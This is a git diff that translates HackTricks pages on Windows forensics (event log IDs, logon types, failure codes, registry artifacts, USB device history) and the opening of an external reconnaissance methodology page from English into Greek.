σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων. -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για να αναλύσετε το αρχείο. -### Scheduled tasks +### Προγραμματισμένα καθήκοντα -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +Μπορείτε να τα εξάγετε από `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τα διαβάσετε ως XML. -### Services +### Υπηρεσίες -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +Μπορείτε να τις βρείτε στο μητρώο κάτω από `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι πρόκειται να εκτελεστεί και πότε. ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στο `\ProgramData\Microsoft\Windows\AppRepository\`\ +Αυτό το αποθετήριο έχει ένα **log** με **κάθε εγκατεστημένη εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**. -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +Μέσα στον πίνακα Εφαρμογών αυτής της βάσης δεδομένων, είναι δυνατή η εύρεση των στηλών: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με τις προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να βρεθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή οι ταυτοτήτες των εγκατεστημένων εφαρμογών θα πρέπει να είναι διαδοχικές. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +Είναι επίσης δυνατή η **εύρεση εγκατεστημένης εφαρμογής** μέσα στο μονοπάτι μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +Και **απεγκατεστημένων** **εφαρμογών** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windows Events -Information that appears inside Windows events are: +Οι πληροφορίες που εμφανίζονται μέσα στα Windows events είναι: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- Τι συνέβη +- Χρονική σήμανση (UTC + 0) +- Χρήστες που εμπλέκονται +- Φιλοξενούμενοι που εμπλέκονται (hostname, IP) +- Περιουσιακά στοιχεία που προσπελάστηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +Τα logs βρίσκονται στο `C:\Windows\System32\config` πριν από τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτά, είναι σε **XML μορφή** και χρησιμοποιούν την **.evtx** επέκταση. -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Μπορούν να οπτικοποιηθούν από τον Windows Event Viewer (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** -## Understanding Windows Security Event Logging +## Κατανόηση της Καταγραφής Γεγονότων Ασφαλείας των Windows -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι ρυθμιζόμενο και όταν φτάσει την ικανότητά του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινά περιουσιακά στοιχεία. -### Key Event IDs for User Authentication: +### Κύριοι Κωδικοί Γεγονότων για Αυθεντικοποίηση Χρηστών: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: Υποδεικνύει ότι ένας χρήστης αυθεντικοποιήθηκε επιτυχώς. +- **EventID 4625**: Σηματοδοτεί αποτυχία αυθεντικοποίησης. +- **EventIDs 4634/4647**: Αντιπροσωπεύουν γεγονότα αποσύνδεσης χρηστών. +- **EventID 4672**: Υποδηλώνει σύνδεση με διαχειριστικά δικαιώματα. -#### Sub-types within EventID 4634/4647: +#### Υποτύποι εντός του EventID 4634/4647: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactive (2)**: Άμεση σύνδεση χρήστη. +- **Network (3)**: Πρόσβαση σε κοινόχρηστους φακέλους. +- **Batch (4)**: Εκτέλεση παρτίδων διαδικασιών. +- **Service (5)**: Εκκινήσεις υπηρεσιών. +- **Proxy (6)**: Αυθεντικοποίηση μέσω proxy. +- **Unlock (7)**: Ξεκλείδωμα οθόνης με κωδικό πρόσβασης. +- **Network Cleartext (8)**: Μετάδοση κωδικού πρόσβασης σε καθαρό κείμενο, συχνά από IIS. +- **New Credentials (9)**: Χρήση διαφορετικών διαπιστευτηρίων για πρόσβαση. +- **Remote Interactive (10)**: Σύνδεση μέσω απομακρυσμένης επιφάνειας εργασίας ή υπηρεσιών τερματικού. +- **Cache Interactive (11)**: Σύνδεση με αποθηκευμένα διαπιστευτήρια χωρίς επαφή με τον ελεγκτή τομέα. +- **Cache Remote Interactive (12)**: Απομακρυσμένη σύνδεση με αποθηκευμένα διαπιστευτήρια. +- **Cached Unlock (13)**: Ξεκλείδωμα με αποθηκευμένα διαπιστευτήρια. -#### Status and Sub Status Codes for EventID 4625: +#### Κωδικοί Κατάστασης και Υποκατάστασης για το EventID 4625: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: Το όνομα χρήστη δεν υπάρχει - Μπορεί να υποδηλώνει επίθεση καταμέτρησης ονομάτων χρηστών. +- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή απόπειρα μαντεψίας κωδικού ή brute-force. +- **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδώσει - Μπορεί να ακολουθεί μια επίθεση brute-force που έχει ως αποτέλεσμα πολλές αποτυχημένες συνδέσεις. +- **0xC0000072**: Ο λογαριασμός έχει απενεργοποιηθεί - Μη εξουσιοδοτημένες απόπειρες πρόσβασης σε απενεργοποιημένους λογαριασμούς. +- **0xC000006F**: Σύνδεση εκτός επιτρεπόμενου χρόνου - Υποδηλώνει απόπειρες πρόσβασης εκτός των καθορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης. +- **0xC0000070**: Παράβαση περιορισμών σταθμού εργασίας - Μπορεί να είναι απόπειρα σύνδεσης από μη εξουσιοδοτημένη τοποθεσία. +- **0xC0000193**: Λήξη λογαριασμού - Απόπειρες πρόσβασης με λογαριασμούς χρηστών που έχουν λήξει. +- **0xC0000071**: Ληγμένος κωδικός πρόσβασης - Απόπειρες σύνδεσης με παρωχημένους κωδικούς πρόσβασης. +- **0xC0000133**: Προβλήματα συγχρονισμού χρόνου - Μεγάλες αποκλίσεις χρόνου μεταξύ πελάτη και διακομιστή μπορεί να υποδηλώνουν πιο εξελιγμένες επιθέσεις όπως pass-the-ticket. +- **0xC0000224**: Απαιτείται υποχρεωτική αλλαγή κωδικού πρόσβασης - Συχνές υποχρεωτικές αλλαγές μπορεί να υποδηλώνουν απόπειρα αποσταθεροποίησης της ασφάλειας του λογαριασμού. +- **0xC0000225**: Υποδηλώνει σφάλμα συστήματος παρά πρόβλημα ασφαλείας. +- **0xC000015b**: Αρνημένος τύπος σύνδεσης - Απόπειρα πρόσβασης με μη εξουσιοδοτημένο τύπο σύνδεσης, όπως χρήστης που προσπαθεί να εκτελέσει σύνδεση υπηρεσίας. #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Αλλαγή Χρόνου**: Τροποποίηση του συστήματος χρόνου, μπορεί να θολώσει τη χρονολογία των γεγονότων. -#### EventID 6005 and 6006: +#### EventID 6005 και 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **Εκκίνηση και Τερματισμός Συστήματος**: Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 το τερματισμό του. #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Διαγραφή Καταγραφών**: Καταγραφές ασφαλείας που διαγράφονται, το οποίο είναι συχνά μια κόκκινη σημαία για την κάλυψη παράνομων δραστηριοτήτων. -#### EventIDs for USB Device Tracking: +#### EventIDs για Παρακολούθηση Συσκευών USB: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: Πρώτη σύνδεση συσκευής USB. +- **10100**: Ενημέρωση οδηγού USB. +- **EventID 112**: Χρόνος εισαγωγής συσκευής USB. -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +Για πρακτικά παραδείγματα σχετικά με την προσομοίωση αυτών των τύπων σύνδεσης και ευκαιριών εξαγωγής διαπιστευτηρίων, ανατρέξτε στον [αναλυτικό οδηγό της Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +Λεπτομέρειες γεγονότων, συμπεριλαμβανομένων των κωδικών κατάστασης και υποκατάστασης, παρέχουν περαιτέρω πληροφορίες σχετικά με τις αιτίες των γεγονότων, ιδιαίτερα αξιοσημείωτες στο Event ID 4625. -### Recovering Windows Events +### Ανάκτηση Γεγονότων Windows -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +Για να αυξήσετε τις πιθανότητες ανάκτησης διαγραμμένων Γεγονότων Windows, είναι σκόπιμο να απενεργοποιήσετε τον ύποπτο υπολογιστή αποσυνδέοντάς τον απευθείας. **Bulk_extractor**, ένα εργαλείο ανάκτησης που καθορίζει την επέκταση `.evtx`, συνιστάται για την προσπάθεια ανάκτησης τέτοιων γεγονότων. -### Identifying Common Attacks via Windows Events +### Αναγνώριση Κοινών Επιθέσεων μέσω Γεγονότων Windows -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +Για έναν ολοκληρωμένο οδηγό σχετικά με τη χρήση των Windows Event IDs στην αναγνώριση κοινών κυβερνοεπιθέσεων, επισκεφθείτε το [Red Team Recipe](https://redteamrecipe.com/event-codes/). -#### Brute Force Attacks +#### Επιθέσεις Brute Force -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +Αναγνωρίσιμες από πολλαπλές καταγραφές EventID 4625, ακολουθούμενες από ένα EventID 4624 αν η επίθεση είναι επιτυχής. -#### Time Change +#### Αλλαγή Χρόνου -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +Καταγράφεται από το EventID 4616, οι αλλαγές στο χρόνο του συστήματος μπορούν να περιπλέκουν την ανάλυση εγκληματολογίας. -#### USB Device Tracking +#### Παρακολούθηση Συσκευών USB -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +Χρήσιμα System EventIDs για την παρακολούθηση συσκευών USB περιλαμβάνουν 20001/20003/10000 για αρχική χρήση, 10100 για ενημερώσεις οδηγών και EventID 112 από το DeviceSetupManager για χρονικές σφραγίδες εισαγωγής. -#### System Power Events +#### Γεγονότα Ικανότητας Συστήματος -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον τερματισμό. -#### Log Deletion +#### Διαγραφή Καταγραφών -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. +Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση εγκληματολογίας. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..8e7844275 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# Ενδιαφέροντα Κλειδιά Μητρώου Windows -### Interesting Windows Registry Keys +### Ενδιαφέροντα Κλειδιά Μητρώου Windows {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Πληροφορίες Έκδοσης και Ιδιοκτήτη Windows** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- Βρίσκεται στο **`Software\Microsoft\Windows NT\CurrentVersion`**, θα βρείτε την έκδοση των Windows, το Service Pack, τον χρόνο εγκατάστασης και το όνομα του καταχωρημένου ιδιοκτήτη με σαφή τρόπο. -### **Computer Name** +### **Όνομα Υπολογιστή** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- Το όνομα υπολογιστή βρίσκεται κάτω από **`System\ControlSet001\Control\ComputerName\ComputerName`**. -### **Time Zone Setting** +### **Ρύθμιση Ζώνης Ώρας** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- Η ζώνη ώρας του συστήματος αποθηκεύεται στο **`System\ControlSet001\Control\TimeZoneInformation`**. -### **Access Time Tracking** +### **Παρακολούθηση Χρόνου Πρόσβασης** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- Από προεπιλογή, η παρακολούθηση του τελευταίου χρόνου πρόσβασης είναι απενεργοποιημένη (**`NtfsDisableLastAccessUpdate=1`**). Για να την ενεργοποιήσετε, χρησιμοποιήστε: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Εκδόσεις Windows και Service Packs -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- Η **έκδοση Windows** υποδεικνύει την έκδοση (π.χ., Home, Pro) και την κυκλοφορία της (π.χ., Windows 10, Windows 11), ενώ τα **Service Packs** είναι ενημερώσεις που περιλαμβάνουν διορθώσεις και, μερικές φορές, νέες δυνατότητες. -### Enabling Last Access Time +### Ενεργοποίηση Χρόνου Τελευταίας Πρόσβασης -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- Η ενεργοποίηση της παρακολούθησης του τελευταίου χρόνου πρόσβασης σας επιτρέπει να δείτε πότε άνοιξαν τελευταία τα αρχεία, κάτι που μπορεί να είναι κρίσιμο για την εγκληματολογική ανάλυση ή την παρακολούθηση του συστήματος. -### Network Information Details +### Λεπτομέρειες Πληροφοριών Δικτύου -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- Το μητρώο περιέχει εκτενή δεδομένα σχετικά με τις ρυθμίσεις δικτύου, συμπεριλαμβανομένων **τύπων δικτύων (ασύρματα, καλωδιακά, 3G)** και **κατηγοριών δικτύου (Δημόσιο, Ιδιωτικό/Οικιακό, Τομέας/Εργασία)**, που είναι ζωτικής σημασίας για την κατανόηση των ρυθμίσεων ασφαλείας δικτύου και των δικαιωμάτων. ### Client Side Caching (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC** βελτιώνει την πρόσβαση σε αρχεία εκτός σύνδεσης αποθηκεύοντας αντίγραφα κοινών αρχείων. Διαφορετικές ρυθμίσεις **CSCFlags** ελέγχουν πώς και ποια αρχεία αποθηκεύονται στην κρυφή μνήμη, επηρεάζοντας την απόδοση και την εμπειρία του χρήστη, ειδικά σε περιβάλλοντα με διαλείπουσα συνδεσιμότητα. -### AutoStart Programs +### Προγράμματα AutoStart -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- Τα προγράμματα που αναφέρονται σε διάφορα κλειδιά μητρώου `Run` και `RunOnce` εκκινούν αυτόματα κατά την εκκίνηση, επηρεάζοντας τον χρόνο εκκίνησης του συστήματος και ενδεχομένως αποτελώντας σημεία ενδιαφέροντος για την αναγνώριση κακόβουλου λογισμικού ή ανεπιθύμητου λογισμικού. ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags** όχι μόνο αποθηκεύουν προτιμήσεις για τις προβολές φακέλων αλλά παρέχουν επίσης εγκληματολογικά στοιχεία πρόσβασης φακέλων ακόμη και αν ο φάκελος δεν υπάρχει πια. Είναι ανεκτίμητα για τις έρευνες, αποκαλύπτοντας δραστηριότητα χρηστών που δεν είναι προφανής μέσω άλλων μέσων. -### USB Information and Forensics +### Πληροφορίες USB και Εγκληματολογία -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- Οι λεπτομέρειες που αποθηκεύονται στο μητρώο σχετικά με τις συσκευές USB μπορούν να βοηθήσουν στην ανίχνευση ποια συσκευές συνδέθηκαν σε έναν υπολογιστή, ενδεχομένως συνδέοντας μια συσκευή με ευαίσθητες μεταφορές αρχείων ή περιστατικά μη εξουσιοδοτημένης πρόσβασης. -### Volume Serial Number +### Αριθμός Σειράς Τόμου -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- Ο **Αριθμός Σειράς Τόμου** μπορεί να είναι κρίσιμος για την παρακολούθηση της συγκεκριμένης περίπτωσης ενός συστήματος αρχείων, χρήσιμος σε εγκληματολογικά σενάρια όπου πρέπει να καθοριστεί η προέλευση ενός αρχείου σε διάφορες συσκευές. -### **Shutdown Details** +### **Λεπτομέρειες Τερματισμού** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- Ο χρόνος και ο αριθμός τερματισμού (ο τελευταίος μόνο για XP) διατηρούνται στο **`System\ControlSet001\Control\Windows`** και **`System\ControlSet001\Control\Watchdog\Display`**. -### **Network Configuration** +### **Ρύθμιση Δικτύου** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- Για λεπτομερείς πληροφορίες διεπαφής δικτύου, ανατρέξτε στο **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. +- Οι πρώτοι και τελευταίοι χρόνοι σύνδεσης δικτύου, συμπεριλαμβανομένων των συνδέσεων VPN, καταγράφονται κάτω από διάφορες διαδρομές στο **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. -### **Shared Folders** +### **Κοινόχρηστοι Φάκελοι** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- Οι κοινόχρηστοι φάκελοι και οι ρυθμίσεις βρίσκονται κάτω από **`System\ControlSet001\Services\lanmanserver\Shares`**. Οι ρυθμίσεις Client Side Caching (CSC) καθορίζουν τη διαθεσιμότητα αρχείων εκτός σύνδεσης. -### **Programs that Start Automatically** +### **Προγράμματα που Ξεκινάνε Αυτόματα** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- Διαδρομές όπως **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** και παρόμοιες καταχωρήσεις κάτω από `Software\Microsoft\Windows\CurrentVersion` περιγράφουν προγράμματα που έχουν ρυθμιστεί να εκκινούν κατά την εκκίνηση. -### **Searches and Typed Paths** +### **Αναζητήσεις και Πληκτρολογημένες Διαδρομές** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- Οι αναζητήσεις του Explorer και οι πληκτρολογημένες διαδρομές παρακολουθούνται στο μητρώο κάτω από **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** για WordwheelQuery και TypedPaths, αντίστοιχα. -### **Recent Documents and Office Files** +### **Πρόσφατα Έγγραφα και Αρχεία Office** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- Τα πρόσφατα έγγραφα και τα αρχεία Office που έχουν προσπελαστεί σημειώνονται στο `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` και σε συγκεκριμένες διαδρομές έκδοσης Office. -### **Most Recently Used (MRU) Items** +### **Πιο Πρόσφατα Χρησιμοποιούμενα (MRU) Στοιχεία** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- Οι λίστες MRU, που υποδεικνύουν πρόσφατες διαδρομές αρχείων και εντολές, αποθηκεύονται σε διάφορα υποκλειδιά `ComDlg32` και `Explorer` κάτω από `NTUSER.DAT`. -### **User Activity Tracking** +### **Παρακολούθηση Δραστηριότητας Χρήστη** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- Η δυνατότητα User Assist καταγράφει λεπτομερείς στατιστικές χρήσης εφαρμογών, συμπεριλαμβανομένου του αριθμού εκτελέσεων και του τελευταίου χρόνου εκτέλεσης, στο **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. -### **Shellbags Analysis** +### **Ανάλυση Shellbags** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- Τα Shellbags, που αποκαλύπτουν λεπτομέρειες πρόσβασης φακέλων, αποθηκεύονται στο `USRCLASS.DAT` και `NTUSER.DAT` κάτω από `Software\Microsoft\Windows\Shell`. Χρησιμοποιήστε **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** για ανάλυση. -### **USB Device History** +### **Ιστορικό Συσκευών USB** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** και **`HKLM\SYSTEM\ControlSet001\Enum\USB`** περιέχουν πλούσιες λεπτομέρειες σχετικά με τις συνδεδεμένες συσκευές USB, συμπεριλαμβανομένου του κατασκευαστή, του ονόματος προϊόντος και των χρονικών σημείων σύνδεσης. +- Ο χρήστης που σχετίζεται με μια συγκεκριμένη συσκευή USB μπορεί να προσδιοριστεί αναζητώντας τις βάσεις `NTUSER.DAT` για το **{GUID}** της συσκευής. +- Η τελευταία τοποθετημένη συσκευή και ο αριθμός σειράς τόμου της μπορούν να ανιχνευθούν μέσω `System\MountedDevices` και `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, αντίστοιχα. -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +Αυτός ο οδηγός συμπυκνώνει τις κρίσιμες διαδρομές και μεθόδους για την πρόσβαση σε λεπτομερείς πληροφορίες συστήματος, δικτύου και δραστηριότητας χρηστών σε συστήματα Windows, στοχεύοντας στην καθαρότητα και τη χρηστικότητα. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index ef4a9559e..e163a945b 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,49 +1,41 @@ -# External Recon Methodology +# Εξωτερική Μεθοδολογία Αναγνώρισης {{#include ../../banners/hacktricks-training.md}} -
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +## Ανακαλύψεις Περιουσιακών Στοιχείων -{% embed url="https://www.stmcyber.com/careers" %} +> Έτσι σας είπαν ότι όλα όσα ανήκουν σε μια εταιρεία είναι εντός του πεδίου εφαρμογής, και θέλετε να καταλάβετε τι πραγματικά κατέχει αυτή η εταιρεία. -## Assets discoveries +Ο στόχος αυτής της φάσης είναι να αποκτήσουμε όλες τις **εταιρείες που ανήκουν στην κύρια εταιρεία** και στη συνέχεια όλα τα **περιουσιακά στοιχεία** αυτών των εταιρειών. Για να το κάνουμε αυτό, θα: -> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. +1. Βρούμε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής. +2. Βρούμε το ASN (αν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις περιοχές IP που ανήκουν σε κάθε εταιρεία. +3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να αναζητήσουμε άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά). +4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσουμε άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά). -The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: +### **Εξαγορές** -1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company 